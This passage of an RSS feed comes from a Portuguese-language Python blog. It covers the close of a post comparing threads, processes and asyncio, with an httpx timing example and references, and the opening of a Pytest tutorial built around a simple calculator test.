    &lt;span class=&quot;token keyword&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;with&lt;/span&gt; httpx&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;AsyncClient&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; client&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        results &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; asyncio&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;gather&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
            &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;measure_url&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; itertools&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;repeat&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;client&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; URLS&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;url&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; length&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; results&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string-interpolation&quot;&gt;&lt;span class=&quot;token string&quot;&gt;f&quot;&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;url&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt; tem &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;length&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt; bytes&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;


&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; __name__ &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;__main__&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    asyncio&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;run&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;main&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Note o uso das palavras reservadas &lt;code class=&quot;language-text&quot;&gt;async&lt;/code&gt; e &lt;code class=&quot;language-text&quot;&gt;await&lt;/code&gt;, e do inicializador do &lt;em&gt;event loop&lt;/em&gt;. Além, claro,
do uso de bibliotecas não bloqueantes como o caso da &lt;a href=&quot;https://www.python-httpx.org&quot; title=&quot;A next-generation HTTP client for Python&quot;&gt;&lt;em&gt;httpx&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;E como fica o comparativo com &lt;em&gt;threads&lt;/em&gt; e processos? Mais uma vez rodando com &lt;code class=&quot;language-text&quot;&gt;time&lt;/code&gt;, temos:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ time python async.py
http://www.foxnews.com/ tem 339756 bytes
http://www.cnn.com/ tem 1145150 bytes
http://www.bbc.co.uk/ tem 317556 bytes
python async.py  0.22s user 0.07s system 13% cpu 2.151 total&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Nada mal. Quase metade do tempo usando &lt;code class=&quot;language-text&quot;&gt;multiprocessing&lt;/code&gt;, e um pouco mais que usando &lt;em&gt;threads&lt;/em&gt;. Isso não quer
dizer que &lt;em&gt;asyncio&lt;/em&gt; é necessariamento mais lento, &lt;a href=&quot;https://stackoverflow.com/questions/8546273/is-non-blocking-i-o-really-faster-than-multi-threaded-blocking-i-o-how&quot; title=&quot;Is non-blocking I/O really faster than multi-threaded blocking I/O? How?&quot;&gt;apenas que o contexto desse experimento favoreceu o exemplo com &lt;em&gt;threads&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;O propósito do comparativo com &lt;code class=&quot;language-text&quot;&gt;time&lt;/code&gt; nesse artigo é apenas ilustrar que há diferença entre as opções possíveis. Mas se
você não está satisfeito com o resultado, o &lt;em&gt;Stackoverflow&lt;/em&gt; &lt;a href=&quot;https://stackoverflow.com/questions/27435284/multiprocessing-vs-multithreading-vs-asyncio-in-python-3&quot; title=&quot;multiprocessing vs multithreading vs asyncio in Python 3&quot;&gt;pode ajudar novamente&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;CPU Bound =&gt; Multi Processing&lt;/li&gt;
&lt;li&gt;I/O Bound, Fast I/O, Limited Number of Connections =&gt; Multi Threading&lt;/li&gt;
&lt;li&gt;I/O Bound, Slow I/O, Many connections =&gt; Asyncio&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;Vai depender do contexto do problema sendo resolvido.&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;Eu lembro de estar em mais de uma entrevista de emprego, e ser perguntado
sobre como fazer &lt;em&gt;CPU-bound&lt;/em&gt; e &lt;em&gt;IO-bound&lt;/em&gt; em &lt;em&gt;Python&lt;/em&gt;. &lt;/p&gt;
&lt;p&gt;Agora sabemos o básico sobre os principais conceitos relacionados à concorrência em &lt;em&gt;Python&lt;/em&gt;. Temos uma perspectiva
mais detalhada sobre a &lt;em&gt;GIL&lt;/em&gt;, e não entramos no mérito de debater se ela é boa ou ruim.
Entender a natureza das &lt;em&gt;threads&lt;/em&gt; na linguagem é mais importante, e é crucial para decidirmos da melhor forma como solucionar
problemas concorrentes.&lt;/p&gt;
&lt;p&gt;E optar pelo &lt;em&gt;async/ASGI&lt;/em&gt; faz parte disso também. Portanto, agora que temos todo o contexto de concorrência e paralelismo,
no próximo &lt;em&gt;post&lt;/em&gt; vamos revisitar o funcionamento do &lt;em&gt;WSGI&lt;/em&gt;, compará-lo com o seu primo mais novo, e compreender a motivação por trás da alternativa.&lt;/p&gt;
&lt;p&gt;Até a próxima.&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://callhub.io/understanding-python-gil/&quot;&gt;CallHub - Understanding Python GIL&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://dev.to/mervynlee94/multi-threading-vs-event-loop-in-python-1h4h&quot;&gt;Dev.to - Multi-threading vs Event Loop in Python&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://diogommartins.wordpress.com/2017/04/07/concorrencia-e-paralelismo-threads-multiplos-processos-e-asyncio-parte-1/&quot;&gt;Diogo M Martins - Concorrência e paralelismo: Threads, múltiplos processos e asyncio - Parte 1&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://medium.com/fintechexplained/advanced-python-concurrency-and-parallelism-82e378f26ced&quot;&gt;FinTechExplained - Advanced Python: Concurrency And Parallelism&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://medium.com/fullstackai/concurrency-in-python-cooperative-vs-preemptive-scheduling-5feaed7f6e53&quot;&gt;FullStackAI - Concurrency in Python: Cooperative vs Preemptive Scheduling&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://levelup.gitconnected.com/diy-multithreading-vs-multiprocessing-in-python-fb93698ca7f3&quot;&gt;Gitconnected - DIY: Multithreading vs Multiprocessing in Python&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.miguelgrinberg.com/post/sync-vs-async-python-what-is-the-difference&quot;&gt;Miguel Grinberg - Sync vs. Async Python: What is the Difference?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.blopig.com/blog/2019/01/making-the-most-of-your-cpus-when-using-python/&quot;&gt;Oxford Protein Informatics Group - Making the most of your CPUs when using python&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://realpython.com/async-io-python/&quot;&gt;RealPython - Async IO in Python: A Complete Walkthrough&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://realpython.com/python-concurrency/&quot;&gt;RealPython - Speed Up Your Python Program With Concurrency&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://realpython.com/python-gil/&quot;&gt;RealPython - What Is the Python Global Interpreter Lock (GIL)?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://stackify.com/python-garbage-collection/&quot;&gt;Stackify - Python Garbage Collection: What It Is and How It Works&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/1934715/difference-between-a-coroutine-and-a-thread&quot;&gt;Stackoverflow - Difference between a “coroutine” and a “thread”?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/33352298/how-does-python-handle-thread-locking-context-switching&quot;&gt;Stackoverflow - How does python handle thread locking / context switching?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/8546273/is-non-blocking-i-o-really-faster-than-multi-threaded-blocking-i-o-how&quot;&gt;Stackoverflow - Is non-blocking I/O really faster than multi-threaded blocking I/O? How?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/27435284/multiprocessing-vs-multithreading-vs-asyncio-in-python-3&quot;&gt;Stackoverflow - multiprocessing vs multithreading vs asyncio in Python 3&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/3044580/multiprocessing-vs-threading-python&quot;&gt;Stackoverflow - Multiprocessing vs Threading Python [duplicate]&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/868568/what-do-the-terms-cpu-bound-and-i-o-bound-mean&quot;&gt;Stackoverflow - What do the terms “CPU bound” and “I/O bound” mean?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/1050222/what-is-the-difference-between-concurrency-and-parallelism&quot;&gt;Stackoverflow - What is the difference between concurrency and parallelism?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://testdriven.io/blog/python-concurrency-parallelism/&quot;&gt;Testdriven.io - Parallelism, Concurrency, and AsyncIO in Python - by example&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://timber.io/blog/multiprocessing-vs-multithreading-in-python-what-you-need-to-know/&quot;&gt;Timber - Multiprocessing Vs. Threading In Python: What You Need To Know.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=iG6fr81xHKA&quot;&gt;Youtube - Miguel Grinberg Asynchronous Python for the Complete Beginner PyCon 2017&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[O popular e poderoso Pytest]]></title><description><![CDATA[Ok. Eu admito. O primeiro post de 2021 será só para cumprir tabela. Afinal,
se você já programa em Python, provavelmente já ouviu falar do…]]></description><link>https://klauslaube.com.br/2021/01/24/o-popular-e-poderoso-pytest.html</link><guid isPermaLink="false">https://klauslaube.com.br/2021/01/24/o-popular-e-poderoso-pytest.html</guid><pubDate>Sun, 24 Jan 2021 17:37:00 GMT</pubDate><content:encoded>&lt;p&gt;Ok. Eu admito. O primeiro &lt;em&gt;post&lt;/em&gt; de 2021 será só para cumprir tabela. Afinal,
se você já programa em &lt;a href=&quot;/tag/python.html&quot; title=&quot;Leia mais sobre Python&quot;&gt;&lt;em&gt;Python&lt;/em&gt;&lt;/a&gt;, provavelmente já ouviu falar do
&lt;a href=&quot;https://docs.pytest.org/en/stable/&quot; title=&quot;helps you write better programs&quot;&gt;&lt;em&gt;Pytest&lt;/em&gt;&lt;/a&gt;.
E é pela sua popularidade, mas acima de tudo sua versatilidade, que eu me sinto na
obrigação de pelo menos arranhar o assunto.&lt;/p&gt;
&lt;p&gt;10 anos de &lt;em&gt;blog&lt;/em&gt;, e &lt;a href=&quot;https://www.google.com/search?sxsrf=ALeKk01qQM8UPLiwJ7HSSqmN5BBbdsb_DQ%3A1609852895254&amp;#x26;ei=32f0X_WHD_-GwPAP9pClgAw&amp;#x26;q=klauslaube.com.br+%22pytest%22&amp;#x26;oq=klauslaube.com.br+%22pytest%22&amp;#x26;gs_lcp=CgZwc3ktYWIQAzoECAAQRzoECCMQJ1D9gQFY-ZQBYKCXAWgAcAJ4AIABeYgB0QGSAQMxLjGYAQCgAQGqAQdnd3Mtd2l6yAECwAEB&amp;#x26;sclient=psy-ab&amp;#x26;ved=0ahUKEwi189iv8YTuAhV_AxAIHXZICcAQ4dUDCA0&amp;#x26;uact=5&quot;&gt;escrevi quase nada sobre a ferramenta&lt;/a&gt;. Shame!&lt;/p&gt;
&lt;h2&gt;Um baita framework de testes&lt;/h2&gt;
&lt;p&gt;Já falamos sobre os benefícios de escrever testes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;/2011/01/27/tdd-desenvolvimento-orientado-testes.html&quot; title=&quot;Leia na íntegra&quot;&gt;TDD: Desenvolvimento Orientado a Testes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/2011/07/18/ferramentas-de-testes-em-django-parte-1.html&quot; title=&quot;Leia na íntegra&quot;&gt;Ferramentas de testes em Django - Parte 1&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/2011/07/23/ferramentas-de-testes-em-django-parte-2.html&quot; title=&quot;Leia na íntegra&quot;&gt;Ferramentas de testes em Django - Parte 2&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/2016/02/03/bdd-com-django-e-behave.html&quot; title=&quot;Leia na íntegra&quot;&gt;BDD com Django e Behave&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/2018/01/05/testando-apps-django-com-tox.html&quot; title=&quot;Leia na íntegra&quot;&gt;Testando apps Django com Tox&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/2014/08/07/os-testes-e-os-dubles-parte-1.html&quot; title=&quot;Leia na íntegra&quot;&gt;Os testes e os dublês - Parte 1&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/2015/06/29/os-testes-e-os-dubles-parte-2.html&quot; title=&quot;Leia na íntegra&quot;&gt;Os testes e os dublês - Parte 2&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Então podemos partir do princípio que testes são mais do que essenciais como ferramenta de &lt;em&gt;design&lt;/em&gt; e desenvolvimento.&lt;/p&gt;
&lt;p&gt;O &lt;em&gt;Pytest&lt;/em&gt; se considera um &lt;em&gt;framework&lt;/em&gt; que tem por objetivo te permitir escrever testes pequenos de maneira fácil, e ainda assim
ser possível escalar o seu uso para testes funcionais complexos.&lt;/p&gt;
&lt;p&gt;Livre e de código-aberto (&lt;a href=&quot;https://github.com/pytest-dev/pytest/blob/master/LICENSE&quot; title=&quot;Leia na íntegra&quot;&gt;MIT&lt;/a&gt;), é hoje
uma alternativa &lt;a href=&quot;https://www.jetbrains.com/lp/python-developers-survey-2019/#FrameworksLibraries&quot; title=&quot;Veja o resultado do survey de 2019&quot;&gt;mais popular que o próprio &lt;em&gt;unittest&lt;/em&gt;&lt;/a&gt; (que faz parte da &lt;em&gt;standard lib&lt;/em&gt;). Rico em &lt;em&gt;plugins&lt;/em&gt;, com ele é possível escrever
testes em diferentes formatos, para diferentes fins.&lt;/p&gt;
&lt;h2&gt;Mão na massa!&lt;/h2&gt;
&lt;p&gt;Vamos aproveitar o &lt;a href=&quot;/2020/12/30/poesia-pythonista-com-poetry.html&quot; title=&quot;Leia o artigo na íntegra&quot;&gt;&lt;em&gt;Poetry&lt;/em&gt;&lt;/a&gt; e iniciar um projeto:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ poetry new my_calc
$ cd my_calc/&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;O &lt;em&gt;Pytest&lt;/em&gt; já é listado como uma dependência de projetos criados via &lt;code class=&quot;language-text&quot;&gt;poetry&lt;/code&gt;. Portanto, um &lt;code class=&quot;language-text&quot;&gt;poetry install&lt;/code&gt; é o suficiente para
instalá-lo:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ poetry install&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Ou com o &lt;code class=&quot;language-text&quot;&gt;pip&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ pip install pytest&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Vamos ativar o virtualenv com o &lt;em&gt;Poetry&lt;/em&gt;, para que assim as instruções daqui para frente sejam as mesmas para os não-usuários da ferramenta:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ poetry shell&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;Encontrando os testes&lt;/h2&gt;
&lt;p&gt;Por padrão, o &lt;em&gt;Pytest&lt;/em&gt; espera que o seus arquivos de teste comecem com &lt;code class=&quot;language-text&quot;&gt;test_&lt;/code&gt;, ou terminem com &lt;code class=&quot;language-text&quot;&gt;_test.py&lt;/code&gt;. Customizações &lt;a href=&quot;https://docs.pytest.org/en/stable/example/pythoncollection.html#changing-naming-conventions&quot; title=&quot;Changing naming conventions&quot;&gt;são possíveis&lt;/a&gt;, mas o padrão já nos atende.&lt;/p&gt;
&lt;p&gt;Vamos começar o teste pela forma convencional, utilizando &lt;code class=&quot;language-text&quot;&gt;unittest&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# tests/test_my_calc.py&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; unittest &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; TestCase


&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;TestSum&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;TestCase&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;test_one_plus_one_is_equal_two&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;self&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        result &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; calc&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;+&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        self&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;assertEqual&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; result&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Ainda com a &lt;code class=&quot;language-text&quot;&gt;unittest&lt;/code&gt;, executamos o teste:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ python -m unittest
E
======================================================================
ERROR: test_one_plus_one_is_equal_two (tests.test_my_calc.TestSum)
----------------------------------------------------------------------
Traceback (most recent call last):
  File &quot;/Users/klauslaube/Workspace/my_calc/tests/test_my_calc.py&quot;, line 7, in test_one_plus_one_is_equal_two
    result = calc(1, &quot;+&quot;, 1)
NameError: name &apos;calc&apos; is not defined

----------------------------------------------------------------------
Ran 1 test in 0.000s

FAILED (errors=1)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Agora utilizando o utilitário de linha de comando, &lt;code class=&quot;language-text&quot;&gt;pytest&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ pytest
======================================================================================== test session starts =========================================================================================
platform darwin -- Python 3.8.1, pytest-5.4.3, py-1.10.0, pluggy-0.13.1
rootdir: /Users/klauslaube/Workspace/my_calc
collected 1 item

tests/test_my_calc.py F                                                                                                                                                                        [100%]

============================================================================================== FAILURES ==============================================================================================
_______________________________________________________________________________ TestSum.test_one_plus_one_is_equal_two _______________________________________________________________________________

self = &amp;lt;tests.test_my_calc.TestSum testMethod=test_one_plus_one_is_equal_two&gt;

    def test_one_plus_one_is_equal_two(self):
&gt;       result = calc(1, &quot;+&quot;, 1)
E       NameError: name &apos;calc&apos; is not defined

tests/test_my_calc.py:7: NameError
====================================================================================== short test summary info =======================================================================================
FAILED tests/test_my_calc.py::TestSum::test_one_plus_one_is_equal_two - NameError: name &apos;calc&apos; is not defined
========================================================================================= 1 failed in 0.10s ==========================================================================================&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Como é possível notar, o &lt;em&gt;output&lt;/em&gt; é um pouco mais &lt;em&gt;verbose&lt;/em&gt;. Mas o ponto alto aqui é que, mesmo que o seu projeto esteja
utilizando &lt;code class=&quot;language-text&quot;&gt;unittest&lt;/code&gt; como biblioteca de testes, o &lt;em&gt;test runner&lt;/em&gt; do &lt;code class=&quot;language-text&quot;&gt;pytest&lt;/code&gt; ainda assim
consegue identificar e executá-los.&lt;/p&gt;
&lt;p&gt;Fazer o teste passar vai demandar a criação da função &lt;code class=&quot;language-text&quot;&gt;calc&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# my_calc/calc.py&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;calc&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;num1&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; operation&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; num2&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;E importar a mesma nos testes:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# tests/test_my_calc.py&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; unittest &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; TestCase
&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; my_calc&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;calc &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; cal

&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Executar novamente o &lt;code class=&quot;language-text&quot;&gt;pytest&lt;/code&gt; deve trazer um resultado positivo dessa vez.&lt;/p&gt;
&lt;h2&gt;Escrevendo os testes&lt;/h2&gt;
&lt;p&gt;E se quisermos abrir mão do uso da &lt;code class=&quot;language-text&quot;&gt;unittest&lt;/code&gt;? É perfeitamente possível. O &lt;em&gt;Pytest&lt;/em&gt;
(por padrão) busca por classes de teste com prefixo &lt;code class=&quot;language-text&quot;&gt;Test&lt;/code&gt;, e prefixo &lt;code class=&quot;language-text&quot;&gt;test&lt;/code&gt; para os métodos:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# tests/test_my_calc.py&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; my_calc&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;calc &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; calc


&lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;TestSum&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;test_one_plus_one_is_equal_two&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;self&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        result &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; calc&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;+&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; result&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Podemos ir além, e ao invés de métodos utilizar funções. Isso simplificará bastante o
&lt;em&gt;boilterplate&lt;/em&gt; de código necessário para escrever um teste simples:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# tests/test_my_calc.py&lt;/span&gt;

